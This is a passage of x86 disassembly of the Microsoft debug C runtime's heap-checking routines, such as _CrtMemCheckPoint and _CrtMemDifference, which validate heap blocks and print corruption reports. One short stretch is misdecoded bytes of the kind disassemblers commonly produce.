		mov	ecx, [ebp+8]
		mov	ds:off_44FE20, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BF70	proc near		; CODE XREF: sub_41B920+151p
					; sub_41B920+1B7p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], 1


loc_41BF7E:				; CODE XREF: sub_41BF70:loc_41BFECj
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		sub	ecx, 1
		mov	[ebp+arg_8], ecx
		test	eax, eax
		jz	short loc_41BFEE
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+arg_4]
		and	ecx, 0FFh
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		cmp	eax, ecx
		jz	short loc_41BFEC


loc_41BFAB:				; CODE XREF: sub_41BF70+73j
		mov	eax, [ebp+arg_4]
		and	eax, 0FFh
		push	eax
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dl, [ecx-1]
		push	edx
		mov	eax, [ebp+arg_0]
		sub	eax, 1
		push	eax
		push	offset aMemoryCheckErr ; "memory check error at	0x%08X = 0x%02X, "...
		push	0
		push	0
		push	0
		push	0
		call	loc_420E10
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41BFDF
		int	3		; Trap to Debugger


loc_41BFDF:				; CODE XREF: sub_41BF70+6Cj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41BFAB
		mov	[ebp+var_4], 0


loc_41BFEC:				; CODE XREF: sub_41BF70+39j
		jmp	short loc_41BF7E
; ---------------------------------------------------------------------------


loc_41BFEE:				; CODE XREF: sub_41BF70+1Cj
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41BF70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C000	proc near		; CODE XREF: sub_41AF30:loc_41AF4Cp
					; sub_41B330:loc_41B392p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], 1
		mov	eax, ds:dword_44FA40
		and	eax, 1
		test	eax, eax
		jnz	short loc_41C026
		mov	eax, 1
		jmp	loc_41C358
; ---------------------------------------------------------------------------


loc_41C026:				; CODE XREF: sub_41C000+1Aj
		push	9
		call	sub_421A80
		add	esp, 4
		call	sub_421F70
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0FFFFFFFFh
		jz	loc_41C149
		cmp	[ebp+var_C], 0FFFFFFFEh
		jz	loc_41C149
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_18]
		add	edx, 6
		mov	[ebp+var_18], edx
		cmp	[ebp+var_18], 3
		ja	loc_41C112
		mov	eax, [ebp+var_18]
		jmp	ds:off_41C35F[eax*4]


loc_41C06F:				; CODE XREF: sub_41C000+93j
					; DATA XREF: seg000:0041C36Bo
		push	offset a_heapchkFailsW ; "_heapchk fails with _HEAPBADBEGIN.\n"
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	loc_420E10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41C08F
		int	3		; Trap to Debugger


loc_41C08F:				; CODE XREF: sub_41C000+8Cj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41C06F
		jmp	loc_41C138
; ---------------------------------------------------------------------------


loc_41C09A:				; CODE XREF: sub_41C000+68j
					; sub_41C000+BEj
					; DATA XREF: ...
		push	offset a_heapchkFail_0 ; "_heapchk fails with _HEAPBADNODE.\n"
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	loc_420E10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41C0BA
		int	3		; Trap to Debugger


loc_41C0BA:				; CODE XREF: sub_41C000+B7j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41C09A
		jmp	short loc_41C138
; ---------------------------------------------------------------------------


loc_41C0C2:				; CODE XREF: sub_41C000+68j
					; sub_41C000+E6j
					; DATA XREF: ...
		push	offset a_heapchkFail_1 ; "_heapchk fails with _HEAPBADEND.\n"
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	loc_420E10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41C0E2
		int	3		; Trap to Debugger


loc_41C0E2:				; CODE XREF: sub_41C000+DFj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41C0C2
		jmp	short loc_41C138
; ---------------------------------------------------------------------------


loc_41C0EA:				; CODE XREF: sub_41C000+68j
					; sub_41C000+10Ej
					; DATA XREF: ...
		push	offset a_heapchkFail_2 ; "_heapchk fails with _HEAPBADPTR.\n"
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	loc_420E10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41C10A
		int	3		; Trap to Debugger


loc_41C10A:				; CODE XREF: sub_41C000+107j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41C0EA
		jmp	short loc_41C138
; ---------------------------------------------------------------------------


loc_41C112:				; CODE XREF: sub_41C000+5Fj
					; sub_41C000+136j
		push	offset a_heapchkFail_3 ; "_heapchk fails with unknown return valu"...
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	loc_420E10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41C132
		int	3		; Trap to Debugger


loc_41C132:				; CODE XREF: sub_41C000+12Fj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41C112


loc_41C138:				; CODE XREF: sub_41C000+95j
					; sub_41C000+C0j ...
		push	9
		call	sub_421B20
		add	esp, 4
		xor	eax, eax
		jmp	loc_41C358
; ---------------------------------------------------------------------------


loc_41C149:				; CODE XREF: sub_41C000+3Cj
					; sub_41C000+46j
		mov	eax, ds:dword_4EE95C
		mov	[ebp+var_8], eax
		jmp	short loc_41C15B
; ---------------------------------------------------------------------------


loc_41C153:				; CODE XREF: sub_41C000:loc_41C346j
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx]
		mov	[ebp+var_8], edx


loc_41C15B:				; CODE XREF: sub_41C000+151j
		cmp	[ebp+var_8], 0
		jz	loc_41C34B
		mov	[ebp+var_10], 1
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		cmp	ecx, 4
		jz	short loc_41C1A0
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx+14h], 1
		jz	short loc_41C1A0
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		cmp	ecx, 2
		jz	short loc_41C1A0
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx+14h], 3
		jnz	short loc_41C1B8


loc_41C1A0:				; CODE XREF: sub_41C000+17Bj
					; sub_41C000+184j ...
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		mov	edx, ds:off_44FA50[ecx*4]
		mov	[ebp+var_14], edx
		jmp	short loc_41C1BF
; ---------------------------------------------------------------------------


loc_41C1B8:				; CODE XREF: sub_41C000+19Ej
		mov	[ebp+var_14], offset aDamaged ;	"DAMAGED"


loc_41C1BF:				; CODE XREF: sub_41C000+1B6j
		push	4
		mov	al, ds:byte_44FA4C
		push	eax
		mov	ecx, [ebp+var_8]
		add	ecx, 1Ch
		push	ecx
		call	sub_41BF70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41C214


loc_41C1DA:				; CODE XREF: sub_41C000+20Bj
		mov	edx, [ebp+var_8]
		add	edx, 20h
		push	edx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+18h]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		push	offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"...
		push	0
		push	0
		push	0
		push	0
		call	loc_420E10
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41C207
		int	3		; Trap to Debugger


loc_41C207:				; CODE XREF: sub_41C000+204j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41C1DA
		mov	[ebp+var_10], 0


loc_41C214:				; CODE XREF: sub_41C000+1D8j
		push	4
		mov	cl, ds:byte_44FA4C
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx+10h]
		mov	ecx, [ebp+var_8]
		lea	edx, [ecx+eax+20h]
		push	edx
		call	sub_41BF70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41C271


loc_41C237:				; CODE XREF: sub_41C000+268j
		mov	eax, [ebp+var_8]
		add	eax, 20h
		push	eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_14]
		push	eax
		push	offset aDamageAfterHsB ; "DAMAGE: after	%hs block (#%d)	at 0x%08X"...
		push	0
		push	0
		push	0
		push	0
		call	loc_420E10
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41C264
		int	3		; Trap to Debugger


loc_41C264:				; CODE XREF: sub_41C000+261j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41C237
		mov	[ebp+var_10], 0


loc_41C271:				; CODE XREF: sub_41C000+235j
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx+14h], 0
		jnz	short loc_41C2CA
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+10h]
		push	ecx
		mov	dl, ds:byte_44FA4D
		push	edx
		mov	eax, [ebp+var_8]
		add	eax, 20h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41C2CA


loc_41C29B:				; CODE XREF: sub_41C000+2C1j
		mov	ecx, [ebp+var_8]
		add	ecx, 20h
		push	ecx
		push	offset aDamageOnTopOfF ; "DAMAGE: on top of Free block at 0x%08X."...
		push	0
		push	0
		push	0
		push	0
		call	loc_420E10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41C2BD
		int	3		; Trap to Debugger


loc_41C2BD:				; CODE XREF: sub_41C000+2BAj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41C29B
		mov	[ebp+var_10], 0


loc_41C2CA:				; CODE XREF: sub_41C000+278j
					; sub_41C000+299j
		cmp	[ebp+var_10], 0
		jnz	short loc_41C346
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax+8], 0
		jz	short loc_41C30C


loc_41C2D9:				; CODE XREF: sub_41C000+30Aj
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		push	edx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+8]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		push	offset aHsAllocatedAtF ; "%hs allocated	at file	%hs(%d).\n"
		push	0
		push	0
		push	0
		push	0
		call	loc_420E10
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41C306
		int	3		; Trap to Debugger


loc_41C306:				; CODE XREF: sub_41C000+303j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41C2D9


loc_41C30C:				; CODE XREF: sub_41C000+2D7j
					; sub_41C000+33Dj
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+10h]
		push	edx
		mov	eax, [ebp+var_8]
		add	eax, 20h
		push	eax
		mov	ecx, [ebp+var_14]
		push	ecx
		push	offset aHsLocatedAt0x0 ; "%hs located at 0x%08X	is %u bytes long."...
		push	0
		push	0
		push	0
		push	0
		call	loc_420E10
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41C339
		int	3		; Trap to Debugger


loc_41C339:				; CODE XREF: sub_41C000+336j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41C30C
		mov	[ebp+var_4], 0


loc_41C346:				; CODE XREF: sub_41C000+2CEj
		jmp	loc_41C153
; ---------------------------------------------------------------------------


loc_41C34B:				; CODE XREF: sub_41C000+15Fj
		push	9
		call	sub_421B20
		add	esp, 4
		mov	eax, [ebp+var_4]


loc_41C358:				; CODE XREF: sub_41C000+21j
					; sub_41C000+144j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41C000	endp

; ---------------------------------------------------------------------------
off_41C35F	dd offset loc_41C0EA	; DATA XREF: sub_41C000+68r
		dd offset loc_41C0C2
		dd offset loc_41C09A
		dd offset loc_41C06F
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, ds:dword_44FA40
		mov	[ebp-4], eax
		cmp	dword ptr [ebp+8], 0FFFFFFFFh
		jz	short loc_41C38B
		mov	ecx, [ebp+8]
		mov	ds:dword_44FA40, ecx


loc_41C38B:				; CODE XREF: seg000:0041C380j
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, ds:dword_44FA40
		and	eax, 1
		test	eax, eax
		jnz	short loc_41C3B2
		jmp	short loc_41C403
; ---------------------------------------------------------------------------


loc_41C3B2:				; CODE XREF: seg000:0041C3AEj
		push	9
		call	sub_421A80
		add	esp, 4
		mov	ecx, ds:dword_4EE95C
		mov	[ebp-4], ecx
		jmp	short loc_41C3CF
; ---------------------------------------------------------------------------


loc_41C3C7:				; CODE XREF: seg000:loc_41C3F7j
		mov	edx, [ebp-4]
		mov	eax, [edx]
		mov	[ebp-4], eax


loc_41C3CF:				; CODE XREF: seg000:0041C3C5j
		cmp	dword ptr [ebp-4], 0
		jz	short loc_41C3F9
		mov	ecx, [ebp-4]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 4
		jnz	short loc_41C3F7
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp-4]
		add	ecx, 20h
		push	ecx
		call	dword ptr [ebp+8]
		add	esp, 8


loc_41C3F7:				; CODE XREF: seg000:0041C3E4j
		jmp	short loc_41C3C7
; ---------------------------------------------------------------------------


loc_41C3F9:				; CODE XREF: seg000:0041C3D3j
		push	9
		call	sub_421B20
		add	esp, 4


loc_41C403:				; CODE XREF: seg000:0041C3B0j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C410:				; CODE XREF: sub_41C460+19p
					; seg000:0041C55Ap ...
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+8], 0
		jz	short loc_41C44D
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	near ptr 3D0000h
		mov	word ptr [ebp-7CDE8A40h], es
		jge	short loc_41C43F
		add	[edx+edx-75h], dh
		push	ebp
		or	al, 52h
		mov	eax, [ebp+8]
		push	eax
		call	near ptr 3D0000h


loc_41C43F:				; CODE XREF: seg000:0041C42Dj
		pop	dword ptr [ebp-38F68A40h]
		inc	ebp
		cld
		add	[eax], eax
; ---------------------------------------------------------------------------
		db 2 dup(0), 0EBh
; ---------------------------------------------------------------------------
		pop	es


loc_41C44D:				; CODE XREF: seg000:0041C418j
		mov	dword ptr [ebp-4], 0
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C460	proc near		; CODE XREF: sub_41B330+1AAp
					; sub_41B920+9Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_41C46E
		xor	eax, eax
		jmp	short loc_41C4E2
; ---------------------------------------------------------------------------


loc_41C46E:				; CODE XREF: sub_41C460+8j
		push	1
		push	20h
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		push	eax
		call	loc_41C410
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41C489
		xor	eax, eax
		jmp	short loc_41C4E2
; ---------------------------------------------------------------------------


loc_41C489:				; CODE XREF: sub_41C460+23j
		mov	ecx, [ebp+arg_0]
		sub	ecx, 20h
		push	ecx
		call	sub_422180
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41C4B6
		mov	edx, [ebp+arg_0]
		sub	edx, 20h
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_4221E0
		add	esp, 8
		jmp	short loc_41C4E2
; ---------------------------------------------------------------------------


loc_41C4B6:				; CODE XREF: sub_41C460+3Fj
		mov	ecx, ds:dword_4EE96C
		and	ecx, 8000h
		test	ecx, ecx
		jz	short loc_41C4CD
		mov	eax, 1
		jmp	short loc_41C4E2
; ---------------------------------------------------------------------------


loc_41C4CD:				; CODE XREF: sub_41C460+64j
		mov	edx, [ebp+arg_0]
		sub	edx, 20h
		push	edx
		push	0
		mov	eax, ds:dword_4EF060
		push	eax
		call	ds:dword_4F1414	; HeapValidate


loc_41C4E2:				; CODE XREF: sub_41C460+Cj
					; sub_41C460+27j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_41C460	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+8]
		push	eax
		call	sub_41C460
		add	esp, 4
		test	eax, eax
		jnz	short loc_41C50B
		xor	eax, eax
		jmp	loc_41C5CF
; ---------------------------------------------------------------------------


loc_41C50B:				; CODE XREF: seg000:0041C502j
		push	9
		call	sub_421A80
		add	esp, 4
		mov	ecx, [ebp+8]
		sub	ecx, 20h
		mov	[ebp-4], ecx
		mov	edx, [ebp-4]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 4
		jz	short loc_41C550
		mov	ecx, [ebp-4]
		cmp	dword ptr [ecx+14h], 1
		jz	short loc_41C550
		mov	edx, [ebp-4]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jz	short loc_41C550
		mov	ecx, [ebp-4]
		cmp	dword ptr [ecx+14h], 3
		jnz	short loc_41C5C3


loc_41C550:				; CODE XREF: seg000:0041C52Cj
					; seg000:0041C535j ...
		push	1
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	loc_41C410
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41C5C3
		mov	ecx, [ebp-4]
		mov	edx, [ecx+10h]
		cmp	edx, [ebp+0Ch]
		jnz	short loc_41C5C3
		mov	eax, [ebp-4]
		mov	ecx, [eax+18h]
		cmp	ecx, ds:dword_44FA44
		jg	short loc_41C5C3
		cmp	dword ptr [ebp+10h], 0
		jz	short loc_41C590
		mov	edx, [ebp+10h]
		mov	eax, [ebp-4]
		mov	ecx, [eax+18h]
		mov	[edx], ecx


loc_41C590:				; CODE XREF: seg000:0041C583j
		cmp	dword ptr [ebp+14h], 0
		jz	short loc_41C5A1
		mov	edx, [ebp+14h]
		mov	eax, [ebp-4]
		mov	ecx, [eax+8]
		mov	[edx], ecx


loc_41C5A1:				; CODE XREF: seg000:0041C594j
		cmp	dword ptr [ebp+18h], 0
		jz	short loc_41C5B2
		mov	edx, [ebp+18h]
		mov	eax, [ebp-4]
		mov	ecx, [eax+0Ch]
		mov	[edx], ecx


loc_41C5B2:				; CODE XREF: seg000:0041C5A5j
		push	9
		call	sub_421B20
		add	esp, 4
		mov	eax, 1
		jmp	short loc_41C5CF
; ---------------------------------------------------------------------------


loc_41C5C3:				; CODE XREF: seg000:0041C54Ej
					; seg000:0041C564j ...
		push	9
		call	sub_421B20
		add	esp, 4
		xor	eax, eax


loc_41C5CF:				; CODE XREF: seg000:0041C506j
					; seg000:0041C5C1j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, ds:dword_4F0094
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	ds:dword_4F0094, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C600	proc near		; CODE XREF: seg000:0041CC8Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_0], 0
		jnz	short loc_41C63A


loc_41C60F:				; CODE XREF: sub_41C600+33j
		push	offset a_crtmemcheckpo ; "_CrtMemCheckPoint: NULL state	pointer.\n"...
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	loc_420E10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41C62F
		int	3		; Trap to Debugger


loc_41C62F:				; CODE XREF: sub_41C600+2Cj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41C60F
		jmp	loc_41C763
; ---------------------------------------------------------------------------


loc_41C63A:				; CODE XREF: sub_41C600+Dj
		push	9
		call	sub_421A80
		add	esp, 4
		mov	ecx, [ebp+arg_0]
		mov	edx, ds:dword_4EE95C
		mov	[ecx], edx
		mov	[ebp+var_4], 0
		jmp	short loc_41C661
; ---------------------------------------------------------------------------


loc_41C658:				; CODE XREF: sub_41C600+83j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_41C661:				; CODE XREF: sub_41C600+56j
		cmp	[ebp+var_4], 5
		jge	short loc_41C685
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+ecx*4+18h], 0
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+eax*4+4], 0
		jmp	short loc_41C658
; ---------------------------------------------------------------------------


loc_41C685:				; CODE XREF: sub_41C600+65j
		mov	edx, ds:dword_4EE95C
		mov	[ebp+var_8], edx
		jmp	short loc_41C698
; ---------------------------------------------------------------------------


loc_41C690:				; CODE XREF: sub_41C600:loc_41C73Cj
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		mov	[ebp+var_8], ecx


loc_41C698:				; CODE XREF: sub_41C600+8Ej
		cmp	[ebp+var_8], 0
		jz	loc_41C741
		mov	edx, [ebp+var_8]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		test	eax, eax
		jl	short loc_41C717
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 5
		jge	short loc_41C717
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*4+4]
		add	eax, 1
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		mov	ecx, [ebp+arg_0]
		mov	[ecx+edx*4+4], eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4+18h]
		mov	eax, [ebp+var_8]
		add	edx, [eax+10h]
		mov	ecx, [ebp+var_8]
		mov	eax, [ecx+14h]
		and	eax, 0FFFFh
		mov	ecx, [ebp+arg_0]
		mov	[ecx+eax*4+18h], edx
		jmp	short loc_41C73C
; ---------------------------------------------------------------------------


loc_41C717:				; CODE XREF: sub_41C600+AFj
					; sub_41C600+C0j ...
		mov	edx, [ebp+var_8]
		push	edx
		push	offset aBadMemoryBlock ; "Bad memory block found at 0x%08X.\n"
		push	0
		push	0
		push	0
		push	0
		call	loc_420E10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41C736
		int	3		; Trap to Debugger


loc_41C736:				; CODE XREF: sub_41C600+133j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41C717


loc_41C73C:				; CODE XREF: sub_41C600+115j
		jmp	loc_41C690
; ---------------------------------------------------------------------------


loc_41C741:				; CODE XREF: sub_41C600+9Cj
		mov	ecx, [ebp+arg_0]
		mov	edx, ds:dword_4EE964
		mov	[ecx+2Ch], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, ds:dword_4EE958
		mov	[eax+30h], ecx
		push	9
		call	sub_421B20
		add	esp, 4


loc_41C763:				; CODE XREF: sub_41C600+35j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41C600	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 0
		cmp	dword ptr [ebp+8], 0
		jz	short loc_41C792
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_41C792
		cmp	dword ptr [ebp+10h], 0
		jnz	short loc_41C7C0


loc_41C792:				; CODE XREF: seg000:0041C784j
					; seg000:0041C78Aj ...
		push	offset a_crtmemdiffere ; "_CrtMemDifference: NULL state	pointer.\n"...
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	loc_420E10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41C7B2
		int	3		; Trap to Debugger


loc_41C7B2:				; CODE XREF: seg000:0041C7AFj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41C792
		mov	eax, [ebp-8]
		jmp	loc_41C88C
; ---------------------------------------------------------------------------


loc_41C7C0:				; CODE XREF: seg000:0041C790j
		mov	dword ptr [ebp-4], 0
		jmp	short loc_41C7D2
; ---------------------------------------------------------------------------


loc_41C7C9:				; CODE XREF: seg000:loc_41C857j
		mov	ecx, [ebp-4]
		add	ecx, 1
		mov	[ebp-4], ecx


loc_41C7D2:				; CODE XREF: seg000:0041C7C7j
		cmp	dword ptr [ebp-4], 5
		jge	loc_41C85C
		mov	edx, [ebp-4]
		mov	eax, [ebp+10h]
		mov	ecx, [ebp-4]
		mov	esi, [ebp+0Ch]
		mov	edx, [eax+edx*4+18h]
		sub	edx, [esi+ecx*4+18h]
		mov	eax, [ebp-4]
		mov	ecx, [ebp+8]
		mov	[ecx+eax*4+18h], edx
		mov	edx, [ebp-4]
		mov	eax, [ebp+10h]
		mov	ecx, [ebp-4]
		mov	esi, [ebp+0Ch]
		mov	edx, [eax+edx*4+4]
		sub	edx, [esi+ecx*4+4]
		mov	eax, [ebp-4]
		mov	ecx, [ebp+8]
		mov	[ecx+eax*4+4], edx
		mov	edx, [ebp-4]
		mov	eax, [ebp+8]
		cmp	dword ptr [eax+edx*4+18h], 0
		jnz	short loc_41C832
		mov	ecx, [ebp-4]
		mov	edx, [ebp+8]
		cmp	dword ptr [edx+ecx*4+4], 0
		jz	short loc_41C857


loc_41C832:				; CODE XREF: seg000:0041C823j
		cmp	dword ptr [ebp-4], 0
		jz	short loc_41C857
		cmp	dword ptr [ebp-4], 2
		jnz	short loc_41C850
		cmp	dword ptr [ebp-4], 2
		jnz	short loc_41C857
		mov	eax, ds:dword_44FA40
		and	eax, 10h
		test	eax, eax
		jz	short loc_41C857


loc_41C850:				; CODE XREF: seg000:0041C83Cj
		mov	dword ptr [ebp-8], 1


loc_41C857:				; CODE XREF: seg000:0041C830j
					; seg000:0041C836j ...
		jmp	loc_41C7C9
; ---------------------------------------------------------------------------


loc_41C85C:				; CODE XREF: seg000:0041C7D6j
		mov	ecx, [ebp+10h]
		mov	edx, [ebp+0Ch]
		mov	eax, [ecx+2Ch]
		sub	eax, [edx+2Ch]
		mov	ecx, [ebp+8]
		mov	[ecx+2Ch], eax
		mov	edx, [ebp+10h]
		mov	eax, [ebp+0Ch]
		mov	ecx, [edx+30h]
		sub	ecx, [eax+30h]
		mov	edx, [ebp+8]
		mov	[edx+30h], ecx
		mov	eax, [ebp+8]
		mov	dword ptr [eax], 0
		mov	eax, [ebp-8]


loc_41C88C:				; CODE XREF: seg000:0041C7BBj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C8A0	proc near		; CODE XREF: seg000:0041CCDCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], 0
		push	9
		call	sub_421A80
		add	esp, 4


loc_41C8BA:				; CODE XREF: sub_41C8A0+3Ej
		push	offset aDumpingObjects ; "Dumping objects ->\n"
		push	offset aS_25	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	loc_420E10
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41C8DA
		int	3		; Trap to Debugger


loc_41C8DA:				; CODE XREF: sub_41C8A0+37j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41C8BA
		cmp	[ebp+arg_0], 0
		jz	short loc_41C8EE
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		mov	[ebp+var_8], edx


loc_41C8EE:				; CODE XREF: sub_41C8A0+44j
		mov	eax, ds:dword_4EE95C
		mov	[ebp+var_4], eax
		jmp	short loc_41C900
; ---------------------------------------------------------------------------


loc_41C8F8:				; CODE XREF: sub_41C8A0:loc_41CB1Dj
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		mov	[ebp+var_4], edx


loc_41C900:				; CODE XREF: sub_41C8A0+56j
